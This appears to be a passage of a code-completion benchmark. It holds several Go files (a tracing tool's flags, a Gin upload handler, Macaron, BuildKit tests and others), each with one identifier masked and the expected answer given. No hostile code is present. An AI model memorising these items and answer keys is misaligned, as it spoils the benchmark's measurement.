rootCmd.PersistentFlags().BoolVarP(&gconfig.Debug, ""debug"", ""d"", false, ""enable debug logging"") rootCmd.PersistentFlags().BoolVarP(&gconfig.Quiet, ""quiet"", ""q"", false, ""wont logging to terminal when used"") rootCmd.PersistentFlags().BoolVar(&gconfig.Color, ""color"", false, ""enable color for log file"") rootCmd.PersistentFlags().BoolVarP(&gconfig.FmtJson, ""json"", ""j"", false, ""log event as json format"") rootCmd.PersistentFlags().StringVarP(&gconfig.LogFile, ""out"", ""o"", """", ""save the log to file"") // 适合收集大量数据 减少数据丢失 rootCmd.PersistentFlags().StringVar(&gconfig.DumpFile, ""dump"", """", ""save perf data to file"") rootCmd.PersistentFlags().StringVar(&gconfig.ParseFile, ""parse"", """", ""parse perf data as json or readable format"") // 常规ELF库hook设定 rootCmd.PersistentFlags().StringVarP(&gconfig.Library, ""lib"", ""l"", ""libc.so"", ""lib name or lib full path, default is libc.so"") rootCmd.PersistentFlags().StringArrayVarP(&gconfig.HookPoint, ""point"", ""w"", []string{}, ""hook point config, e.g. strstr+0x0[str,str] write[int,buf:128,int]"") rootCmd.PersistentFlags().StringVar(&gconfig.RegName, ""reg"", """", ""get the offset of reg"") rootCmd.PersistentFlags().BoolVarP(&gconfig.DumpRet, ""dumpret"", """", false, ""dump ret offset for symbol"") rootCmd.PersistentFlags().BoolVarP(&gconfig.DumpHex, ""dumphex"", """", false, ""dump buffer as hex"") rootCmd.PersistentFlags().BoolVarP(&gconfig.ShowPC, ""showpc"", """", false, ""show origin pc register value"") rootCmd.PersistentFlags().BoolVarP(&gconfig.ShowTime, ""showtime"", """", false, ""show event boot time info"") rootCmd.PersistentFlags().BoolVarP(&gconfig.ShowUid, ""showuid"", """", false, ""show process uid info"") rootCmd.PersistentFlags().BoolVarP(&gconfig.NoCheck, ""nocheck"", """", false, ""disable check for bpf"") rootCmd.PersistentFlags().BoolVarP(&gconfig.Btf, ""btf"", """", false, ""declare BTF enabled"") // syscall hook rootCmd.PersistentFlags().StringVarP(&gconfig.SysCall, ""syscall"", ""s"", """", ""filter syscalls"") rootCmd.PersistentFlags().StringVar(&gconfig.NoSysCall, ""no-syscall"", """", ""syscall black list, max 20"") // config hook rootCmd.PersistentFlags().StringArrayVarP(&gconfig.ConfigFiles, ""config"", ""c"", []string{}, ""hook config file"") } ",enable_hook 357,"package handlers import ( ""database/sql"" ""fmt"" ""io"" ""log"" ""madaurus/dev/assignment/app/interfaces"" ""madaurus/dev/assignment/app/models"" ""madaurus/dev/assignment/app/services"" ""madaurus/dev/assignment/app/shared"" ""madaurus/dev/assignment/app/utils"" ""net/http"" ""os"" ""path/filepath"" ""time"" ""github.com/gin-gonic/gin"" ""github.com/google/uuid"" ) func GetAssignments(db *sql.DB) gin.HandlerFunc { return func(c *gin.Context) { var assignments []models.Assignment var err error value, exists := c.Get(""user"") if !exists { c.JSON(http.StatusInternalServerError, gin.H{""message"": shared.UNAUTHORIZED}) return } user, ok := value.(*utils.UserDetails) if !ok { c.JSON(http.StatusInternalServerError, gin.H{""message"": ""Failed to parse user details""}) return } teacherId := c.Query(""teacher_id"") moduleId := c.Query(""module_id"") year := c.Query(""year"") filter := interfaces.AssignmentFilter{ TeacherId: &teacherId, ModuleId: &moduleId, Year: &year, } // if the user is student then filter by his year, // elif the user is teacher then filter by his id, // else return all of them for the admin var filterId = """"; var filterBy = ""None""; if user.Role == ""student"" { filterId = user.Year filterBy = ""Year"" } else { if user.Role == ""teacher"" { filterId = user.ID filterBy = ""Teacher"" } } assignments, err = services.GetAssignments(c.Request.Context(), db, filter, filterId, filterBy) if err != nil { c.JSON(400, gin.H{""error"": ""error, something went wrong""}) return } c.JSON(200, gin.H{""message"": assignments}) } } func CreateAssignment(db *sql.DB) gin.HandlerFunc { return func(g *gin.Context) { const maxFileSize = 50 * 1024 * 1024 id := uuid.New().String() value, exists := g.Get(""user"") if !exists { g.JSON(http.StatusInternalServerError, gin.H{""message"": shared.UNAUTHORIZED}) return } user, ok := value.(*utils.UserDetails) if !ok { g.JSON(http.StatusInternalServerError, gin.H{""message"": ""Failed to parse user details""}) return } err := g.Request.ParseMultipartForm(maxFileSize) if err != nil && err != http.ErrNotMultipart { g.JSON(http.StatusBadRequest, gin.H{""message"": shared.FILE_TOO_LARGE}) return } var [MASK] string file, _, err := g.Request.FormFile(""file"") if err != nil { [MASK] = """" } else { defer file.Close() // save the file to fs fileDir := ""./uploads"" if _, err := os.Stat(fileDir); os.IsNotExist(err) { err = os.Mkdir(fileDir, os.ModePerm) if err != nil { g.JSON(http.StatusInternalServerError, gin.H{""message"": shared.FILE_NOT_CREATED}) return } } [MASK] = filepath.Join(fileDir, id) + "".pdf"" out, err := os.Create( [MASK] ) if err != nil { g.JSON(http.StatusInternalServerError, gin.H{""message"": shared.FILE_NOT_CREATED}) return } defer out.Close() _, err = io.Copy(out, file) if err != nil { g.JSON(http.StatusInternalServerError, gin.H{""message"": shared.FILE_NOT_CREATED}) return } } var assignment models.Assignment if err := g.ShouldBind(&assignment); err != nil { log.Printf(""Error binding assignment: %v"", err) g.JSON(http.StatusNotAcceptable, gin.H{""message"": shared.UNABLE_TO_PARSE}) return } assignment.ID = uuid.New() assignment.File = id +"".pdf""// if no file uploaded -> file = empty assignment.TeacherId = user.ID assignment.Title = g.PostForm(""title"") assignment.Description = g.PostForm(""description"") assignment.ModuleId = g.PostForm(""module_id"") assignment.Year = g.PostForm(""year"") deadlineStr := g.PostForm(""deadline"") layout := ""2006-01-02 15:04:05"" if deadlineStr != """" { deadline, err := time.Parse(layout, deadlineStr) if err != nil { log.Printf(""Error parsing deadline: %v"", err) g.JSON(http.StatusBadRequest, gin.H{""message"": ""Invalid deadline format""}) return } assignment.Deadline = deadline } err = services.CreateAssignment(g.Request.Context(), db, assignment) if err != nil { log.Printf(""Error creating assignment: %v"", err) g.JSON(http.StatusBadRequest, gin.H{""message"": ""Assignment not created""}) return } g.JSON(http.StatusCreated, gin.H{""message"": ""Assignment Created Successfully""}) } } func UpdateAssignment(db *sql.DB) gin.HandlerFunc { return func(c *gin.Context) { var editedAssignment models.Assignment err := c.BindJSON(&editedAssignment) if err != nil { c.JSON(400, gin.H{""error"": err.Error()}) return } assignmentIDStr, exists := c.Params.Get(""assignmentId"") if !exists { c.JSON(400, gin.H{""error"": ""error when parsing assignment ID""}) return } assignmentID, err := uuid.Parse(assignmentIDStr) if err != nil { c.JSON(400, gin.H{""error"": ""error when parsing assignment ID""}) return } err = services.UpdateAssignment(c.Request.Context(), db, assignmentID, editedAssignment) if err != nil { c.JSON(400, gin.H{""error"": err.Error()}) return } c.JSON(200, gin.H{""message"": ""Assignment Updated Successfully""}) } } func GetAssignmentByID(db *sql.DB) gin.HandlerFunc { return func(c *gin.Context) { assignmentIdStr, errr := c.Params.Get(""assignmentId"") fmt.Println(assignmentIdStr) if !errr { c.JSON(400, gin.H{""error"": ""Error when parsig id""}) return } user := c.MustGet(""user"").(*utils.UserDetails) fmt.Println(""assignmet"") fmt.Println(user.ID) assignmentId, err := uuid.Parse(assignmentIdStr) if err != nil { c.JSON(400, gin.H{""error"": ""error when parsing assignment id""}) return } assignment, err := services.GetAssignmentByID(c.Request.Context(), db, assignmentId) if assignment == nil { c.JSON(404, gin.H{""error"": shared.ASSIGNMENT_NOT_FOUND}) return } if err != nil { c.JSON(400, gin.H{""error"": err.Error()}) return } c.JSON(200, gin.H{""message"": assignment}) } } // func GetAssignmentsByTeacherID(db *sql.DB) gin.HandlerFunc { // return func(c *gin.Context) { // teacherIdStr, errr := c.Params.Get(""teacherId"") // fmt.Println(teacherIdStr) // if !errr { // c.JSON(400, gin.H{""error"": ""Error when parsig id""}) // return // } // teacherId, errP := strconv.Atoi(teacherIdStr) // if errP != nil { // c.JSON(400, gin.H{""error"": errors.New(""id is not valid"")}) // return // } // assignments, err := services.GetAssignmentsByTeacherID(c.Request.Context(), db, teacherId) // if err != nil { // c.JSON(400, gin.H{""error"": err.Error()}) // return // } // c.JSON(200, gin.H{""message"": assignments}) // } // } // func GetAssignmentsByModuleID(db *sql.DB) gin.HandlerFunc { // return func(c *gin.Context) { // moduleIdStr, errr := c.Params.Get(""moduleId"") // fmt.Println(moduleIdStr) // if !errr { // c.JSON(400, gin.H{""error"": ""Error when parsig id""}) // return // } // moduleId, errP := strconv.Atoi(moduleIdStr) // if errP != nil { // c.JSON(400, gin.H{""error"": errors.New(""id is not valid"")}) // return // } // assignments, err := services.GetAssignmentsByTeacherID(c.Request.Context(), db, moduleId) // if err != nil { // c.JSON(400, gin.H{""error"": err.Error()}) // return // } // c.JSON(200, gin.H{""message"": assignments}) // } // } func DeleteAssignmentByID(db *sql.DB) gin.HandlerFunc { return func(c *gin.Context) { assignmentIdStr, errr := c.Params.Get(""assignmentId"") if !errr { c.JSON(400, gin.H{""error"": ""Error when parsig id""}) return } assignmentId, err := uuid.Parse(assignmentIdStr) if err != nil { c.JSON(400, gin.H{""error"": ""error when parsing assignment id""}) return } err = services.DeleteAssignmentByID(c.Request.Context(), db, assignmentId) if err != nil { c.JSON(400, gin.H{""error"": err.Error()}) return } c.JSON(200, gin.H{""message"": ""Assignment Deleted Successfully""}) } } ",filePath 358,"// Copyright 2014 The Macaron Authors // // Licensed under the Apache License, Version 2.0 (the ""License""): you may // not use this file except in compliance with the License. You may obtain // a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the // License for the specific language governing permissions and limitations // under the License. // Package switcher is a helper module that provides host switch functionality for Macaron. package switcher import ( ""log"" ""net/http"" ""strconv"" ""strings"" ""gopkg.in/macaron.v1"" ) type matchType int const ( _PLAIN matchType = iota _SUFFIX ) type host struct { m *macaron.Macaron name string matchType } // HostSwitcher represents a global multi-site support layer. type HostSwitcher struct { hosts []*host } // NewHostSwitcher initalizes and returns a new host switcher. // You have to use this function to get a new host switcher. func NewHostSwitcher() *HostSwitcher { return &HostSwitcher{} } // Set adds a new switch to host switcher. func (hs *HostSwitcher) Set(name string, m *macaron.Macaron) { if len(name) == 0 { return } h := &host{m, name, _PLAIN} if name[0] == '*' { h.name = h.name[1:] h.matchType = _SUFFIX } hs.hosts = append(hs.hosts, h) } // Remove removes a switch from host switcher. func (hs *HostSwitcher) Remove(name string) { [MASK] := -1 for i, h := range hs.hosts { if h.name == name { [MASK] = i break } } if [MASK] >= 0 { hs.hosts = append(hs.hosts[: [MASK] ], hs.hosts[ [MASK] +1:]...) } } // ServeHTTP is the HTTP Entry point for a Host Switcher instance. func (hs *HostSwitcher) ServeHTTP(resp http.ResponseWriter, req *http.Request) { for i := range hs.hosts { switch hs.hosts[i].matchType { case _PLAIN: if hs.hosts[i].name == req.Host { hs.hosts[i].m.ServeHTTP(resp, req) return } case _SUFFIX: if strings.HasSuffix(req.Host, hs.hosts[i].name) { hs.hosts[i].m.ServeHTTP(resp, req) return } } } http.Error(resp, ""Not Found"", http.StatusNotFound) } // RunOnAddr runs server in given address and port. func (hs *HostSwitcher) RunOnAddr(addr string) { if macaron.Env == macaron.DEV { infos := strings.Split(addr, "":"") port, _ := strconv.Atoi(infos[1]) for i := range hs.hosts[:len(hs.hosts)-1] { go hs.hosts[i].m.Run(infos[0], port) port++ } hs.hosts[len(hs.hosts)-1].m.Run(infos[0], port) return } log.Fatalln(http.ListenAndServe(addr, hs)) } // GetDefaultListenAddr returns default server listen address of Macaron. func GetDefaultListenAddr() string { host, port := macaron.GetDefaultListenInfo() return host + "":"" + strconv.Itoa(port) } // Run the http server. Listening on os.GetEnv(""PORT"") or 4000 by default. func (hs *HostSwitcher) Run() { hs.RunOnAddr(GetDefaultListenAddr()) } ",idx 359,"package handler import ( ""bytes"" ""errors"" ""io"" ""net/http"" ""net/url"" ""github.com/grepplabs/backstream/internal/message"" ""google.golang.org/protobuf/types/known/structpb"" ) func fromHttpResponse(resp *http.Response) (*message.EventHTTPResponse, error) { defer resp.Body.Close() body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } headers, err := toHeaders(resp.Header) if err != nil { return nil, err } return &message.EventHTTPResponse{ StatusCode: int32(resp.StatusCode), Body: body, Headers: headers, }, nil } func fromHttpRequest(req *http.Request) (*message.EventHTTPRequest, error) { defer req.Body.Close() body, err := io.ReadAll(req.Body) if err != nil { return nil, err } rawPath := req.URL.RawPath if rawPath == """" { rawPath = req.URL.Path } headers, err := toHeaders(req.Header) if err != nil { return nil, err } return &message.EventHTTPRequest{ Method: req.Method, RawPath: rawPath, RawQuery: req.URL.RawQuery, Headers: headers, Body: body, }, nil } func toHttpRequest(event *message.EventHTTPRequest) (*http.Request, error) { u := url.URL{ Scheme: ""http"", Host: ""localhost"", RawQuery: event.RawQuery, Path: event.RawPath, } request, err := http.NewRequest(event.Method, u.String(), bytes.NewReader(event.Body)) if err != nil { return nil, err } request.Header, err = fromHeaders(event.Headers) if err != nil { return nil, err } return request, nil } func writeHttpResponse(w http.ResponseWriter, event *message.EventHTTPResponse) error { header, err := fromHeaders(event.Headers) if err != nil { return err } for key, values := range header { for _, value := range values { w.Header().Add(key, value) } } w.WriteHeader(int(event.StatusCode)) _, err = io.Copy(w, bytes.NewReader(event.Body)) return err } func toHttpResponse(event *message.EventHTTPResponse) (*http.Response, error) { header, err := fromHeaders(event.Headers) if err != nil { return nil, err } [MASK] := &http.Response{ StatusCode: int(event.StatusCode), Header: header, Body: io.NopCloser(bytes.NewReader(event.Body)), } return [MASK] , nil } func toHeaders(hs http.Header) (map[string]*structpb.ListValue, error) { headers := make(map[string]*structpb.ListValue) var err error for k, vs := range hs { headers[k], err = toListString(vs) if err != nil { return nil, err } } return headers, nil } func fromHeaders(hs map[string]*structpb.ListValue) (http.Header, error) { header := make(http.Header) var err error for k, vs := range hs { header[k], err = fromListString(vs) if err != nil { return nil, err } } return header, nil } func toListString(vs []string) (*structpb.ListValue, error) { var is = make([]interface{}, len(vs)) for i, s := range vs { is[i] = s } return structpb.NewList(is) } func fromListString(vs *structpb.ListValue) (result []string, err error) { if vs == nil { return } for _, v := range vs.AsSlice() { s, ok := v.(string) if !ok { return nil, errors.New(""header value not a string"") } result = append(result, s) } return result, nil } ",response 360,"package mask import ""encoding/binary"" func MaskXOR(b []byte, key []byte) { [MASK] := binary.LittleEndian.Uint32(key) key64 := uint64( [MASK] )<<32 + uint64( [MASK] ) for len(b) >= 64 { v := binary.LittleEndian.Uint64(b) binary.LittleEndian.PutUint64(b, v^key64) v = binary.LittleEndian.Uint64(b[8:16]) binary.LittleEndian.PutUint64(b[8:16], v^key64) v = binary.LittleEndian.Uint64(b[16:24]) binary.LittleEndian.PutUint64(b[16:24], v^key64) v = binary.LittleEndian.Uint64(b[24:32]) binary.LittleEndian.PutUint64(b[24:32], v^key64) v = binary.LittleEndian.Uint64(b[32:40]) binary.LittleEndian.PutUint64(b[32:40], v^key64) v = binary.LittleEndian.Uint64(b[40:48]) binary.LittleEndian.PutUint64(b[40:48], v^key64) v = binary.LittleEndian.Uint64(b[48:56]) binary.LittleEndian.PutUint64(b[48:56], v^key64) v = binary.LittleEndian.Uint64(b[56:64]) binary.LittleEndian.PutUint64(b[56:64], v^key64) b = b[64:] } for len(b) >= 8 { v := binary.LittleEndian.Uint64(b[:8]) binary.LittleEndian.PutUint64(b[:8], v^key64) b = b[8:] } n := len(b) for i := 0; i < n; i++ { idx := i & 3 b[i] ^= key[idx] } } ",maskKey 361,"//go:generate go run pkg/codegen/cleanup/main.go //go:generate /bin/rm -rf pkg/generated //go:generate go run pkg/codegen/main.go //go:generate /bin/bash scripts/generate-manifest package main import ( ""context"" ""errors"" ""fmt"" ""os"" lhclientset ""github.com/longhorn/longhorn-manager/k8s/pkg/client/clientset/versioned"" corev1 ""github.com/rancher/wrangler/v3/pkg/generated/controllers/core"" ""github.com/rancher/wrangler/v3/pkg/kubeconfig"" ""github.com/rancher/wrangler/v3/pkg/leader"" ""github.com/rancher/wrangler/v3/pkg/signals"" ""github.com/rancher/wrangler/v3/pkg/start"" ""github.com/sirupsen/logrus"" ""github.com/urfave/cli/v2"" ""k8s.io/client-go/kubernetes"" ""github.com/harvester/networkfs-manager/pkg/controller/endpoint"" ""github.com/harvester/networkfs-manager/pkg/controller/networkfilesystem"" ""github.com/harvester/networkfs-manager/pkg/controller/service"" ""github.com/harvester/networkfs-manager/pkg/controller/sharemanager"" ntefsv1 ""github.com/harvester/networkfs-manager/pkg/generated/controllers/harvesterhci.io"" ctrllonghorn ""github.com/harvester/networkfs-manager/pkg/generated/controllers/longhorn.io"" utils ""github.com/harvester/networkfs-manager/pkg/utils"" ) func main() { var opt utils.Option [MASK] := cli.NewApp() [MASK] .Name = ""networkFS-manager"" [MASK] .Version = utils.FriendlyVersion() [MASK] .Usage = ""networkFS-manager help to manage network filesystem for downstream cluster or VMs"" [MASK] .Flags = []cli.Flag{ &cli.StringFlag{ Name: ""kubeconfig"", EnvVars: []string{""KUBECONFIG""}, Destination: &opt.KubeConfig, Usage: ""Kube config for accessing k8s cluster"", }, &cli.IntFlag{ Name: ""threadiness"", Value: 2, DefaultText: ""2"", Destination: &opt.Threadiness, }, &cli.BoolFlag{ Name: ""debug"", EnvVars: []string{""DEBUG""}, Usage: ""enable debug logs"", Destination: &opt.Debug, }, &cli.StringFlag{ Name: ""namespace"", Value: ""harvester-system"", DefaultText: ""harvester-system"", EnvVars: []string{""HARVESTER_NAMESPACE""}, Destination: &opt.Namespace, }, } [MASK] .Action = func(_ *cli.Context) error { initLogs(&opt) return run(&opt) } if err := [MASK] .Run(os.Args); err != nil { logrus.Fatal(err) } } func initLogs(opt *utils.Option) { if opt.Debug { logrus.SetLevel(logrus.DebugLevel) logrus.Debugf(""Loglevel set to [%v]"", logrus.DebugLevel) } } func run(opt *utils.Option) error { logrus.Infof(""NetworkFS manager %s is starting"", utils.FriendlyVersion()) if opt.Namespace == """" { return errors.New(""namespace cannot be empty"") } ctx := signals.SetupSignalContext() config, err := kubeconfig.GetNonInteractiveClientConfig(opt.KubeConfig).ClientConfig() if err != nil { return fmt.Errorf(""failed to find kubeconfig: %v"", err) } client, err := kubernetes.NewForConfig(config) if err != nil { return fmt.Errorf(""error get client from kubeconfig: %s"", err.Error()) } clientNetfs, err := ntefsv1.NewFactoryFromConfig(config) if err != nil { return fmt.Errorf(""failed to create networkFS controller: %v"", err) } clientv1, err := corev1.NewFactoryFromConfig(config) if err != nil { return fmt.Errorf(""failed to create endpoints controller: %v"", err) } lhClient, err := lhclientset.NewForConfig(config) if err != nil { return fmt.Errorf(""failed to create longhorn client: %v"", err) } lhCtrlClient, err := ctrllonghorn.NewFactoryFromConfig(config) if err != nil { return fmt.Errorf(""failed to create longhorn controller: %v"", err) } endpoints := clientv1.Core().V1().Endpoints() services := clientv1.Core().V1().Service() networkFilsystems := clientNetfs.Harvesterhci().V1beta1().NetworkFilesystem() sharemanagers := lhCtrlClient.Longhorn().V1beta2().ShareManager() cb := func(ctx context.Context) { if err := endpoint.Register(ctx, endpoints, networkFilsystems, services, opt); err != nil { logrus.Errorf(""failed to register endpoint controller: %v"", err) } if err := service.Register(ctx, services, networkFilsystems, opt); err != nil { logrus.Errorf(""failed to register service controller: %v"", err) } if err := networkfilesystem.Register(ctx, clientv1.Core().V1(), lhClient, endpoints, networkFilsystems, opt); err != nil { logrus.Errorf(""failed to register networkfilesystem controller: %v"", err) } if err := sharemanager.Register(ctx, sharemanagers, networkFilsystems, opt); err != nil { logrus.Errorf(""failed to register sharemanager controller: %v"", err) } if err := start.All(ctx, opt.Threadiness, clientNetfs, clientv1, lhCtrlClient); err != nil { logrus.Errorf(""failed to start controller: %v"", err) } <-ctx.Done() } leader.RunOrDie(ctx, opt.Namespace, ""harvester-networkfs-manager"", client, cb) logrus.Infof(""NetworkFS manager is shutting down"") return nil } ",app 362,"package test_test import ( ""testing"" ""github.com/defenseunicorns/uds-capability-gitlab-runner/test/e2e/types"" ""github.com/defenseunicorns/uds-capability-gitlab-runner/test/e2e/utils"" teststructure ""github.com/gruntwork-io/terratest/modules/test-structure"" ""github.com/stretchr/testify/require"" ) // TestAllServicesRunning waits until all services report that they are ready. func TestAllServicesRunning(t *testing.T) { //nolint:funlen // BOILERPLATE, EXPECTED TO BE PRESENT AT THE BEGINNING OF EVERY TEST FUNCTION t.Parallel() platform := types.NewTestPlatform(t) defer platform.Teardown() utils.SetupTestPlatform(t, platform) // The repo has now been downloaded to /root/app and the software factory package deployment has been initiated. teststructure.RunTestStage(platform.T, ""TEST"", func() { // END BOILERPLATE // TEST CODE STARTS HERE. // Just make sure we can hit the cluster [MASK] , err := platform.RunSSHCommandAsSudo(`kubectl get nodes`) require.NoError(t, err, [MASK] ) // Create bogus runner token secret [MASK] , err = platform.RunSSHCommandAsSudo(`kubectl create secret generic gitlab-gitlab-runner-secret -n gitlab-runner --from-literal=runner-token=$(head -c 512 /dev/urandom | LC_CTYPE=C tr -cd 'a-zA-Z0-9' | head -c 64) --from-literal=runner-registration-token=$(head -c 512 /dev/urandom | LC_CTYPE=C tr -cd 'a-zA-Z0-9' | head -c 64)`) require.NoError(t, err, [MASK] ) // Wait for the GitLab Runner Deployment to exist. [MASK] , err = platform.RunSSHCommandAsSudo(`timeout 1200 bash -c ""while ! kubectl get deployment gitlab-runner -n gitlab-runner; do sleep 5; done""`) require.NoError(t, err, [MASK] ) // Wait for the GitLab Runner Deployment to report that it is ready [MASK] , err = platform.RunSSHCommandAsSudo(`kubectl rollout status deployment/gitlab-runner -n gitlab-runner --watch --timeout=1200s`) require.NoError(t, err, [MASK] ) }) } ",output 363,"package dockerfile import ( ""archive/tar"" ""bytes"" ""compress/gzip"" ""context"" ""encoding/json"" ""fmt"" ""io"" ""io/ioutil"" ""net/http"" ""net/http/httptest"" ""os"" ""os/exec"" ""path/filepath"" ""runtime"" ""sort"" ""strconv"" ""strings"" ""testing"" ""time"" ""github.com/containerd/containerd"" ""github.com/containerd/containerd/content"" ""github.com/containerd/containerd/namespaces"" ""github.com/containerd/containerd/platforms"" ""github.com/containerd/containerd/snapshots"" ""github.com/containerd/continuity/fs/fstest"" ""github.com/moby/buildkit/client"" ""github.com/moby/buildkit/client/llb"" ""github.com/moby/buildkit/frontend/dockerfile/builder"" ""github.com/moby/buildkit/frontend/dockerfile/dockerfile2llb"" gateway ""github.com/moby/buildkit/frontend/gateway/client"" ""github.com/moby/buildkit/frontend/subrequests"" ""github.com/moby/buildkit/identity"" ""github.com/moby/buildkit/session"" ""github.com/moby/buildkit/session/upload/uploadprovider"" ""github.com/moby/buildkit/solver/errdefs"" ""github.com/moby/buildkit/util/contentutil"" ""github.com/moby/buildkit/util/testutil"" ""github.com/moby/buildkit/util/testutil/httpserver"" ""github.com/moby/buildkit/util/testutil/integration"" ocispec ""github.com/opencontainers/image-spec/specs-go/v1"" ""github.com/pkg/errors"" ""github.com/stretchr/testify/require"" ) func init() { if os.Getenv(""TEST_DOCKERD"") == ""1"" { integration.InitDockerdWorker() } else { integration.InitOCIWorker() integration.InitContainerdWorker() } } var allTests = []integration.Test{ testCmdShell, testGlobalArg, testDockerfileDirs, testDockerfileInvalidCommand, testDockerfileADDFromURL, testDockerfileAddArchive, testDockerfileScratchConfig, testExportedHistory, testExposeExpansion, testUser, testCacheReleased, testDockerignore, testDockerignoreInvalid, testDockerfileFromGit, testMultiStageImplicitFrom, testMultiStageCaseInsensitive, testLabels, testCacheImportExport, testReproducibleIDs, testImportExportReproducibleIDs, testNoCache, testDockerfileFromHTTP, testBuiltinArgs, testPullScratch, testSymlinkDestination, testHTTPDockerfile, testPlatformArgsImplicit, testPlatformArgsExplicit, testExportMultiPlatform, testQuotedMetaArgs, testIgnoreEntrypoint, testSymlinkedDockerfile, testDockerfileAddArchiveWildcard, testEmptyWildcard, testWorkdirCreatesDir, testDockerfileAddArchiveWildcard, testCopyChownExistingDir, testCopyWildcardCache, testDockerignoreOverride, testTarExporter, testDefaultEnvWithArgs, testEnvEmptyFormatting, testCacheMultiPlatformImportExport, testOnBuildCleared, testFrontendUseForwardedSolveResults, testFrontendInputs, testErrorsSourceMap, testMultiArgs, testFrontendSubrequests, testDockefileCheckHostname, testDefaultShellAndPath, testDockerfileLowercase, testExportCacheLoop, testWildcardRenameCache, } var fileOpTests = []integration.Test{ testEmptyDestDir, testCopyChownCreateDest, testCopyThroughSymlinkContext, testCopyThroughSymlinkMultiStage, testCopySocket, testContextChangeDirToFile, testNoSnapshotLeak, testCopySymlinks, testCopyChown, testCopyChmod, testCopyOverrideFiles, testCopyVarSubstitution, testCopyWildcards, testCopyRelative, testTarContext, testTarContextExternalDockerfile, testWorkdirUser, testWorkdirExists, testWorkdirCopyIgnoreRelative, testCopyFollowAllSymlinks, testDockerfileAddChownExpand, } // Tests that depend on the `security.*` entitlements var securityTests = []integration.Test{} // Tests that depend on the `network.*` entitlements var networkTests = []integration.Test{} var opts []integration.TestOpt var securityOpts []integration.TestOpt type frontend interface { Solve(context.Context, *client.Client, client.SolveOpt, chan *client.SolveStatus) (*client.SolveResponse, error) DFCmdArgs(string, string) (string, string) RequiresBuildctl(t *testing.T) } func init() { frontends := map[string]interface{}{} opts = []integration.TestOpt{ integration.WithMirroredImages(integration.OfficialImages(""busybox:latest"")), integration.WithMirroredImages(map[string]string{ ""docker/dockerfile-copy:v0.1.9"": ""docker.io/"" + dockerfile2llb.DefaultCopyImage, }), integration.WithMatrix(""frontend"", frontends), } if os.Getenv(""FRONTEND_BUILTIN_ONLY"") == ""1"" { frontends[""builtin""] = &builtinFrontend{} } else if os.Getenv(""FRONTEND_CLIENT_ONLY"") == ""1"" { frontends[""client""] = &clientFrontend{} } else if gw := os.Getenv(""FRONTEND_GATEWAY_ONLY""); gw != """" { name := ""buildkit_test/"" + identity.NewID() + "":latest"" opts = append(opts, integration.WithMirroredImages(map[string]string{ name: gw, })) frontends[""gateway""] = &gatewayFrontend{gw: name} } else { frontends[""builtin""] = &builtinFrontend{} frontends[""client""] = &clientFrontend{} } } func TestIntegration(t *testing.T) { integration.Run(t, allTests, opts...) integration.Run(t, fileOpTests, append(opts, integration.WithMatrix(""fileop"", map[string]interface{}{ ""true"": true, ""false"": false, }))...) integration.Run(t, securityTests, append(append(opts, securityOpts...), integration.WithMatrix(""security.insecure"", map[string]interface{}{ ""granted"": securityInsecureGranted, ""denied"": securityInsecureDenied, }))...) integration.Run(t, networkTests, append(opts, integration.WithMatrix(""network.host"", map[string]interface{}{ ""granted"": networkHostGranted, ""denied"": networkHostDenied, }))...) } func testDefaultEnvWithArgs(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox AS build ARG my_arg ENV my_arg ""my_arg=${my_arg:-def_val}"" COPY myscript.sh myscript.sh RUN ./myscript.sh $my_arg FROM scratch COPY --from=build /out /out `) script := []byte(` #!/usr/bin/env sh echo -n $my_arg $1 > /out `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""myscript.sh"", script, 0700), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) for _, x := range []struct { name string frontendAttrs map[string]string expected string }{ {""nil"", nil, ""my_arg=def_val my_arg=def_val""}, {""empty"", map[string]string{""build-arg:my_arg"": """"}, ""my_arg=def_val my_arg=def_val""}, {""override"", map[string]string{""build-arg:my_arg"": ""override""}, ""my_arg=override my_arg=override""}, } { t.Run(x.name, func(t *testing.T) { _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: x.frontendAttrs, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""out"")) require.NoError(t, err) require.Equal(t, x.expected, string(dt)) }) } } func testEnvEmptyFormatting(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox AS build ENV myenv foo%sbar RUN [ ""$myenv"" = 'foo%sbar' ] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testDockerignoreOverride(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox COPY . . RUN [ -f foo ] && [ ! -f bar ] `) ignore := []byte(` bar `) dockerfile2 := []byte(` FROM busybox COPY . . RUN [ ! -f foo ] && [ -f bar ] `) ignore2 := []byte(` foo `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""Dockerfile.dockerignore"", ignore, 0600), fstest.CreateFile(""Dockerfile2"", dockerfile2, 0600), fstest.CreateFile(""Dockerfile2.dockerignore"", ignore2, 0600), fstest.CreateFile(""foo"", []byte(""contents0""), 0600), fstest.CreateFile(""bar"", []byte(""contents0""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), 